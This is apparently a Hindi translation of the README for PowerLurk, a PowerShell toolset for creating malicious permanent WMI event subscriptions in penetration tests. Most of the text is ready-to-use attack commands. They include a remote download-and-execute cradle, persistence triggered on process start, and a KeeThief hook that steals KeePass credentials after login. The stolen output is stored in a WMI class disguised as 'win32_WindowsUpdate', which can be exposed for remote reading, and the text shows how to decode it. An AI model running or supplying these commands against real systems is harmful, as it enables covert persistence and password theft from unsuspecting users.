
PowerShell का उपयोग करके दुर्भावनापूर्ण WMI ईवेंट
PowerLurk एक PowerShell टूलसेट है जो दुर्भावनापूर्ण WMI इवेंट सब्सक्रिप्शन बनाने के लिए है। इसका लक्ष्य पेनिट्रेशन टेस्ट या रेड टीम एंगेजमेंट के दौरान WMI इवेंट को फायर करना आसान बनाना है। कृपया अधिक विस्तृत जानकारी के लिए मेरी पोस्ट Creeping on Users with WMI Events: Introducing PowerLurk देखें: https://pentestarmoury.com/2016/07/13/151/
PowerLurk का उपयोग करने के लिए, आपको अपने PowerShell इंस्टेंस में PowerLurk.ps1 मॉड्यूल इम्पोर्ट करना होगा। यह कुछ तरीकों से किया जा सकता है:
स्थानीय रूप से इम्पोर्ट करें
PS> powershell.exe -NoP -Exec ByPass -C Import-Module c:\\temp\\PowerLurk.ps1
डाउनलोड क्रैडल
PS> powershell.exe -NoP -C "IEX (New-Object Net.WebClient).DownloadString('http://<IP>/PowerLurk.ps1'); Get-WmiEvent"
डिफ़ॉल्ट रूप से, Get-WmiEvent WMI से सभी __FilterToConsumerBinding इंस्टेंस और संबंधित __EventFilter और __EventConsumer इंस्टेंस को क्वेरी करता है। लौटाए गए ऑब्जेक्ट्स को Remove-WmiObject पर पाइप करके हटाया जा सकता है।
नाम 'RedTeamEvent' वाले सभी सक्रिय WMI इवेंट ऑब्जेक्ट लौटाएँ
Get-WmiEvent -Name RedTeamEvent
Twitter - @sw4mp_fox
'RedTeamEvent' WMI इवेंट ऑब्जेक्ट हटाएँ
Get-WmiEvent -Name RedTeamEvent | Remove-WmiObject
यह cmdlet PowerLurk का मुख्य भाग है। यह एक कमांड, स्क्रिप्ट, या scriptblock को कार्रवाई के रूप में और एक पूर्वनिर्धारित trigger लेता है, फिर WMI Filter, Consumer, और FilterToConsumerBinding बनाता है जो एक पूरी तरह कार्यात्मक स्थायी WMI Event Subscription के लिए आवश्यक हैं। कई WMI event triggers या filters पूर्व-कॉन्फ़िगर हैं। Trigger को -Trigger पैरामीटर के साथ निर्दिष्ट किया जाना चाहिए। चुनने के लिए तीन consumers हैं: PermanentCommand, PermanentScript, और LocalScriptBLock। उदाहरण उपयोग:
जब भी notepad.exe शुरू हो, notepad.exe प्रक्रिया ID को C:\temp\log.txt में लिखें
Register-MaliciousWmiEvent -EventName LogNotepad -PermanentCommand “cmd.exe /c echo %ProcessId% >> c:\\temp\\log.txt” -Trigger ProcessStart -ProcessName notepad.exe
दुर्भावनापूर्ण WMI इवेंट को साफ करें
Get-WmiEvent -Name LogNotepad | Remove-WmiObject
एक स्थायी WMI इवेंट बनाता है जो 'keepass' प्रक्रिया शुरू होने के 4 मिनट बाद KeeThief को निष्पादित करेगा (देखें @Harmj0y का KeeThief https://github.com/adaptivethreat/KeeThief पर)। इससे लक्ष्य को अपने KeePass डेटाबेस में लॉग इन करने का समय मिलता है।
KeeThief लॉजिक और इसका आउटपुट या तो कस्टम WMI नेमस्पेस और क्लास में या रजिस्ट्री मानों में संग्रहीत किया जाता है। यदि कस्टम WMI नेमस्पेस और क्लास चुना जाता है, तो आपके पास उस नेमस्पेस को उजागर करने का विकल्प होता है ताकि इसे 'Everyone' द्वारा दूरस्थ रूप से पढ़ा जा सके। रजिस्ट्री पथ और मान नाम संबंधित स्विच का उपयोग करके अनुकूलित किए जा सकते हैं; हालांकि, यह वैकल्पिक है क्योंकि डिफ़ॉल्ट सेट हैं। उदाहरण उपयोग:
WMI क्लास स्टोरेज का उपयोग करके KeeThiefLurker इवेंट जोड़ें
Add-KeeThiefLurker -EventName KeeThief -WMI
कस्टम WMI क्लास क्वेरी करें
Get-WmiObject -Namespace root\software win32_WindowsUpdate -List
WMI क्लास से KeeThief आउटपुट निकालें
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($(Get-WmiObject -Namespace root\software win32_WindowsUpdate -List).Properties['Output'].value))
KeeThiefLurker को साफ करें
Remove-KeeThiefLurker -EventName KeeThief -WMI
Twitter - @sw4mp_f0x